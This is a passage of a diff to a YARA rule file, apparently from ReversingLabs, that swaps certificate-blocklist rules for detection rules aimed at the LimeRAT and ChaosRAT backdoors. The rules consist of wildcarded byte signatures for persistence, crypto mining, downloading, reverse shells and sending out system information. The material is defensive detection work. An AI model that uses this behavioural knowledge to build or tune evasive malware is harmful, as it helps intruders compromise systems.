8B 45 ?? 3B 45 ?? 7C ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 5D ?? 83 C3 ?? 8B 45 + ?? C1 E0 ?? 89 C2 A1 ?? ?? ?? ?? 8D 04 02 8B 00 B9 ?? ?? ?? ?? 89 45 ?? B8 ?? ?? ?? + ?? FC 8B 7D ?? F2 AE 89 C8 F7 D0 83 E8 ?? 8D 04 03 89 45 ?? 83 45 ?? ?? 8B 45 ?? C1 + E0 ?? 89 C2 A1 ?? ?? ?? ?? 8D 04 02 8B 00 85 C0 75 ?? 8B 55 ?? A1 ?? ?? ?? ?? 89 D1 + 29 C1 89 C8 89 C2 A1 ?? ?? ?? ?? 89 C7 FC 89 D1 B8 ?? ?? ?? ?? F3 AA 8B 55 ?? A1 ?? + ?? ?? ?? 89 D7 29 C7 89 F8 8B 15 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 89 14 + 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 5B 5E 5F 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MEP, OOO" and pe.signatures [ i ] . serial == "67:2d:44:28:45:0a:fc:c2:4f:c6:09:69:a5:06:3a:3e" and 1597381260 <= pe.signatures [ i ] . not_after ) + uint32( 0 ) == 0x464C457F and ( ( ( all of ( $packet_loop_v1_p* ) ) and ( all of ( $reverse_shell_v1_p* ) ) and ( all of ( $set_process_name_v1_p* ) ) ) or ( ( all of ( $packet_loop_v2_p* ) ) and ( all of ( $reverse_shell_v2_p* ) ) and ( all of ( $set_process_name_v2_p* ) ) ) ) } - -rule REVERSINGLABS_Cert_Blocklist_Df479E14A70C7970A4De3Dd3E4Bb0318 : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Backdoor_Limerat : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects LimeRAT backdoor." author = "ReversingLabs" - id = "465fc41c-920d-55e6-8616-a51d1f77b158" - date = "2020-08-05" - modified = "2023-11-08" + id = "c2ef6f27-3fb8-55f4-97a6-9e25a3d1ce49" + date = "2024-03-04" + modified = "2024-03-04" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4704-L4722" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/ByteCode.MSIL.Backdoor.LimeRAT.yara#L1-L91" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "35b1f04cf5d5d1d89db537bf75737e3af5945e594f4d4231e9ae3e7fba52fc0d" + logic_hash = "03eaa2ac41950f036601222b32a28c03aae3b3445501e988e2f87e231a1a1522" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "LimeRAT" + tc_detection_factor = 5 importance = 25 + strings: + $persistence_mechanism = { + 02 2C ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? + 28 ?? ?? ?? ?? 16 16 15 28 ?? ?? ?? ?? 26 2B ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? + ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 28 ?? ?? + ?? ?? 28 ?? ?? ?? ?? DE + } + $crypto_miner = { + 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 8E 69 16 31 ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? + ?? ?? 0B 07 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 08 6F ?? ?? ?? ?? 0D 2B ?? 09 6F ?? ?? + ?? ?? 74 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F + ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 0A DE ?? 09 6F ?? ?? ?? ?? 2D ?? DE ?? 09 2C ?? 09 + 6F ?? ?? ?? ?? DC DE ?? 25 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? DE ?? 28 ?? ?? ?? ?? + 0A DE ?? 25 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? DE ?? 06 + } + $downloader = { + 73 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 7E + ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? + ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 2C ?? 06 7E ?? ?? ?? ?? 07 6F ?? + ?? ?? ?? 07 28 ?? ?? ?? ?? 26 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 2B ?? + 06 7E ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 07 28 ?? ?? ?? ?? 26 00 06 6F ?? ?? ?? ?? 14 0A + DE ?? 25 28 ?? ?? ?? ?? 0C 28 ?? ?? ?? ?? DE ?? DE ?? 25 28 ?? ?? ?? ?? 0D 28 ?? ?? + ?? ?? DE + } + $network_communication_p1 = { + 16 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 25 28 ?? ?? ?? ?? 0B 28 ?? ?? + ?? ?? DE ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 25 28 ?? ?? ?? ?? 0C 28 ?? ?? ?? + ?? DE ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 25 28 ?? ?? ?? ?? 0D 28 ?? ?? ?? ?? + DE ?? 00 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? + 7E ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 15 6F ?? ?? ?? ?? 7E ?? + ?? ?? ?? 15 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 73 ?? + ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 11 ?? 14 72 ?? ?? ?? ?? 17 8D ?? ?? ?? ?? + 25 16 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 14 14 14 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? + ?? ?? ?? 15 16 28 ?? ?? ?? ?? 13 ?? 11 ?? 16 9A 80 ?? ?? ?? ?? 73 ?? ?? ?? ?? 26 11 + ?? 73 ?? ?? ?? ?? 17 11 ?? 8E 69 6F ?? ?? ?? ?? 9A 28 ?? ?? ?? ?? 80 ?? ?? ?? ?? 11 + ?? 6F ?? ?? ?? ?? DE ?? 25 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? DE ?? DE ?? 11 ?? 2C + ?? 11 ?? 6F ?? ?? ?? ?? DC 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? + ?? 17 80 ?? ?? ?? ?? 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 1F ?? 8D ?? ?? ?? ?? 25 16 72 ?? + ?? ?? ?? A2 25 17 7E ?? ?? ?? ?? A2 25 18 28 ?? ?? ?? ?? A2 25 19 7E ?? ?? ?? ?? A2 + } + $network_communication_p2 = { + 25 1A 28 ?? ?? ?? ?? A2 25 1B 7E ?? ?? ?? ?? A2 25 1C 72 ?? ?? ?? ?? A2 25 1D 7E ?? + ?? ?? ?? A2 25 1E 28 ?? ?? ?? ?? A2 25 1F ?? 72 ?? ?? ?? ?? A2 25 1F ?? 28 ?? ?? ?? + ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? + A2 25 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 28 ?? ?? ?? ?? A2 + 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 25 + 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? 8C ?? ?? + ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? + ?? A2 25 1F ?? 72 ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 72 ?? ?? ?? ?? + A2 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 + 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? + 7E ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 2B ?? 7E + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SOFTWARE HUB IT LTD" and ( pe.signatures [ i ] . serial == "00:df:47:9e:14:a7:0c:79:70:a4:de:3d:d3:e4:bb:03:18" or pe.signatures [ i ] . serial == "df:47:9e:14:a7:0c:79:70:a4:de:3d:d3:e4:bb:03:18" ) and 1591660800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $persistence_mechanism ) and ( $crypto_miner ) and ( $downloader ) and ( all of ( $network_communication_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_2924785Fd7990B2D510675176Dae2Bed : INFO FILE +rule REVERSINGLABS_Linux_Backdoor_Chaosrat : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects ChaosRAT backdoor." author = "ReversingLabs" - id = "6898e95c-ee31-57a3-b764-99bf9008d0fe" - date = "2020-08-05" - modified = "2023-11-08" + id = "efb8c631-79bf-5d18-ae99-0e55ea462278" + date = "2025-06-30" + modified = "2025-06-30" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4724-L4740" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Linux.Backdoor.ChaosRAT.yara#L1-L270" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e308ca5f24ed5811e947289caf9aa820a16b08ea183c7aa9826f8a726fb5c3cf" + logic_hash = "09a11559384f3e01c8ac304d933a8279175c676fba9ec70627f44b76e90090f9" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "ChaosRAT" + tc_detection_factor = 5 importance = 25 + strings: + $network_communication_v1 = { + 49 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 83 EC ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? 48 89 44 24 + ?? 80 78 ?? ?? 74 ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? E8 + ?? ?? ?? ?? 0F 1F 40 ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8B 48 ?? 48 89 D8 FF D1 44 0F + 11 7C 24 ?? B9 ?? ?? ?? ?? 48 89 C7 48 89 DE 31 C0 48 8D 1D ?? ?? ?? ?? E8 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 48 89 44 24 ?? 90 48 8B 1D ?? + ?? ?? ?? 48 8D 05 ?? ?? ?? ?? BF ?? ?? ?? ?? 48 89 FE 48 8D 4C 24 ?? E8 ?? ?? ?? ?? + 48 8B 4C 24 ?? C6 41 ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 0F 1F 44 00 ?? E8 ?? ?? ?? + ?? 48 8B 44 24 ?? E9 ?? ?? ?? ?? 48 8B 44 24 ?? E8 ?? ?? ?? ?? 48 85 C0 75 ?? 48 8B + 44 24 ?? C6 40 ?? ?? E9 ?? ?? ?? ?? 48 8B 48 ?? 48 89 D8 FF D1 44 0F 11 7C 24 ?? B9 + ?? ?? ?? ?? 48 89 C7 48 89 DE 31 C0 48 8D 1D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 48 89 44 24 ?? 90 48 8B 1D ?? ?? ?? ?? 48 8D + 05 ?? ?? ?? ?? BF ?? ?? ?? ?? 48 89 FE 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? + C6 41 ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 66 90 E8 ?? ?? ?? ?? 48 8B 44 24 ?? E9 ?? + ?? ?? ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 + } + $send_system_information_v1 = { + 4C 8D 64 24 ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC 24 ?? ?? + ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 48 ?? 48 8B 11 48 8B 49 + ?? 48 8B 52 ?? 48 89 C8 FF D2 48 85 DB 0F 85 ?? ?? ?? ?? 48 89 C3 48 8D 05 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 66 0F 1F 44 00 ?? 48 85 FF 0F 85 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 + 5C 24 ?? 48 89 4C 24 ?? 44 0F 11 7C 24 ?? 44 0F 11 7C 24 ?? 48 8B 8C 24 ?? ?? ?? ?? + 48 8B 51 ?? 48 8B 42 ?? 48 8B 5A ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 + ?? 48 89 44 24 ?? 48 89 4C 24 ?? 48 8D 0D ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 8D + 44 24 ?? BB ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 8B 51 ?? + 48 8B 49 ?? 48 8B 52 ?? 48 89 C7 48 89 DE 4C 8B 44 24 ?? 4C 8B 4C 24 ?? 4C 8B 54 24 + ?? 48 89 C8 48 8D 1D ?? ?? ?? ?? B9 ?? ?? ?? ?? FF D2 48 85 DB 75 ?? 48 81 78 ?? ?? + ?? ?? ?? 74 ?? 44 0F 11 7C 24 ?? 48 8B 40 ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 + 89 4C 24 ?? 48 89 44 24 ?? 48 8D 05 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 8D 4C 24 ?? BF ?? + ?? ?? ?? 48 89 FE E8 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 31 + C0 31 DB 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 89 D8 48 89 CB 48 8B AC + 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 89 F8 48 89 F3 48 8B AC 24 ?? ?? ?? ?? 48 + 81 C4 ?? ?? ?? ?? C3 48 89 D8 48 89 CB 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? + C3 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 + } + $download_file_v1_p1 = { + 4C 8D 64 24 ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC 24 ?? ?? + ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 + 8C 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 B4 24 ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 48 + 89 5C 24 ?? 48 89 4C 24 ?? 48 89 F8 48 89 F3 E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 5C + 24 ?? 44 0F 11 BC 24 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 51 + ?? 48 8B 49 ?? 48 89 D0 48 89 CB E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 8C 24 ?? + ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 + 94 24 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 44 + 0F 11 7C 24 ?? 44 0F 11 BC 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 + 4C 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 5C 24 ?? E8 ?? ?? ?? ?? 48 8D + 0D ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? + BB ?? ?? ?? ?? 48 8D 4C 24 ?? BF ?? ?? ?? ?? 48 89 FE E8 ?? ?? ?? ?? 48 8B 4C 24 ?? + 48 8B 49 ?? 48 89 C7 48 89 DE 45 31 C0 45 31 C9 4D 89 CA 48 8B 44 24 ?? 48 8D 1D ?? + ?? ?? ?? 48 89 CA B9 ?? ?? ?? ?? FF D2 0F 1F 80 ?? ?? ?? ?? 48 85 DB 0F 85 ?? ?? ?? + ?? 48 81 78 ?? ?? ?? ?? ?? 75 ?? 48 8B 08 48 8B 78 ?? 48 8B 70 ?? 48 8B 84 24 ?? ?? + ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 C0 74 ?? 31 C9 + } + $download_file_v1_p2 = { + 48 89 C7 48 89 DE 31 C0 48 89 CB 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 31 + C0 48 8B 5C 24 ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 31 FF 31 F6 48 8B AC 24 ?? ?? ?? ?? + 48 81 C4 ?? ?? ?? ?? 90 C3 44 0F 11 7C 24 ?? 48 8B 40 ?? E8 ?? ?? ?? ?? 48 8D 0D ?? + ?? ?? ?? 48 89 4C 24 ?? 48 89 44 24 ?? 48 8D 05 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 8D 4C + 24 ?? BF ?? ?? ?? ?? 48 89 FE E8 ?? ?? ?? ?? 31 C9 48 89 C7 48 89 DE 31 C0 48 89 CB + 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 31 C0 48 89 DF 48 89 CE 31 DB 48 89 + D9 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 89 44 24 ?? 48 89 5C 24 ?? 48 + 89 4C 24 ?? 48 89 7C 24 ?? 48 89 74 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 5C 24 + ?? 48 8B 4C 24 ?? 48 8B 7C 24 ?? 48 8B 74 24 + } + $network_communication_v2 = { + 64 48 8B 0C 25 ?? ?? ?? ?? 48 3B 61 ?? 0F 86 ?? ?? ?? ?? 48 83 EC ?? 48 89 6C 24 ?? + 48 8D 6C 24 ?? 0F 57 C0 0F 11 44 24 ?? 0F 11 44 24 ?? 48 8B 44 24 ?? 48 8B 08 48 8B + 51 ?? 48 8B 49 ?? 48 89 14 24 48 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8D 0D + ?? ?? ?? ?? 48 89 4C 24 ?? 48 89 44 24 ?? 48 8B 44 24 ?? 48 8B 10 48 8B 9A ?? ?? ?? + ?? 48 8B 92 ?? ?? ?? ?? 48 89 1C 24 48 89 54 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 + 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 48 89 44 24 ?? 48 8D 44 24 ?? 48 89 04 24 48 C7 44 + 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 44 + 24 ?? 48 8B 4C 24 ?? 48 89 4C 24 ?? 48 C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 + 24 ?? 80 78 ?? ?? 75 ?? 80 78 ?? ?? 74 ?? C7 04 24 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? + 48 89 4C 24 ?? 48 89 44 24 ?? 48 8B 54 24 ?? 48 89 54 24 ?? 48 8B 5C 24 ?? 48 89 5C + 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 + } + $send_system_information_v2 = { + 64 48 8B 0C 25 ?? ?? ?? ?? 48 8D 44 24 ?? 48 3B 41 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? + ?? ?? ?? 48 89 AC 24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 + 8B 48 ?? 48 8B 11 48 8B 49 ?? 48 8B 52 ?? 48 89 0C 24 FF D2 48 8B 44 24 ?? 48 8B 4C + 24 ?? 48 83 7C 24 ?? ?? 0F 1F 40 ?? 0F 85 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 04 + 24 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 8B 5C 24 ?? 48 8B + 74 24 ?? 48 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? 48 89 54 24 ?? 48 89 5C 24 ?? 48 89 74 + 24 ?? 0F 57 C0 0F 11 44 24 ?? 0F 11 84 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B + 08 48 8B 51 ?? 48 8B 49 ?? 48 89 14 24 48 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? + 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 48 89 44 24 ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 10 + 48 8B 9A ?? ?? ?? ?? 48 8B 92 ?? ?? ?? ?? 48 89 1C 24 48 89 54 24 ?? E8 ?? ?? ?? ?? + 48 8B 44 24 ?? 48 8D 0D ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? + 48 8D 44 24 ?? 48 89 04 24 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 + ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 48 ?? 48 8B 40 ?? 48 8B 49 ?? 48 89 04 24 + 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 + 44 24 ?? 48 8B 44 24 ?? 48 89 44 24 ?? 48 8B 44 24 ?? 48 89 44 24 ?? 90 FF D1 48 8B + 44 24 ?? 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 83 7C 24 ?? ?? 75 ?? 48 81 78 ?? ?? ?? ?? + ?? 74 ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 + 81 C4 ?? ?? ?? ?? C3 0F 57 C0 0F 11 84 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 + C4 ?? ?? ?? ?? C3 48 89 8C 24 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? + ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 89 84 24 ?? ?? ?? ?? 48 89 8C 24 + } + $download_file_v2_p1 = { + 64 48 8B 0C 25 ?? ?? ?? ?? 48 8D 44 24 ?? 48 3B 41 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? + ?? ?? ?? 48 89 AC 24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 + 89 04 24 48 8B 8C 24 ?? ?? ?? ?? 48 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 + 44 24 ?? 48 8B 4C 24 ?? 48 89 4C 24 ?? 0F 57 C0 0F 11 84 24 ?? ?? ?? ?? 0F 11 84 24 + ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 5A ?? 48 8B 72 ?? 48 89 1C 24 48 89 74 24 + ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8D 0D ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 + 84 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 90 ?? ?? ?? ?? 48 8B 80 ?? ?? ?? ?? + 48 89 14 24 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8D 0D ?? ?? ?? ?? 48 89 + 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 04 24 48 C7 + 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B + 4C 24 ?? 0F 57 C0 0F 11 44 24 ?? 0F 11 84 24 ?? ?? ?? ?? 48 89 04 24 48 89 4C 24 ?? + E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 48 89 84 24 ?? ?? + ?? ?? 48 8B 44 24 ?? 48 89 04 24 48 8B 54 24 ?? 48 89 54 24 ?? E8 ?? ?? ?? ?? 48 8B + 44 24 ?? 48 8D 0D ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D + 05 ?? ?? ?? ?? 48 89 04 24 48 C7 44 24 ?? ?? ?? ?? ?? 48 8D 44 24 ?? 48 89 44 24 ?? + 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? + 48 8B 4C 24 ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 52 ?? 48 8B 9C 24 ?? ?? ?? ?? 48 89 1C + 24 48 8D 1D ?? ?? ?? ?? 48 89 5C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 89 44 24 ?? 48 + 89 4C 24 ?? 0F 57 C0 0F 11 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? FF D2 48 8B 44 24 + } + $download_file_v2_p2 = { + 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? 48 81 78 ?? ?? ?? + ?? ?? 0F 85 ?? ?? ?? ?? 48 8B 08 48 8B 50 ?? 48 8B 40 ?? 48 8B 9C 24 ?? ?? ?? ?? 48 + 89 1C 24 48 8B 9C 24 ?? ?? ?? ?? 48 89 5C 24 ?? 48 89 4C 24 ?? 48 89 54 24 ?? 48 89 + 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 83 + 7C 24 ?? ?? 74 ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 0F 57 C0 0F 11 84 24 ?? ?? ?? + ?? 48 89 84 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 + ?? ?? ?? ?? C3 48 C7 04 24 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 44 24 ?? 48 8B 44 24 ?? + 48 89 44 24 ?? 0F 1F 00 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 8B 54 24 ?? + 48 89 84 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 0F 57 C0 0F + 11 84 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? 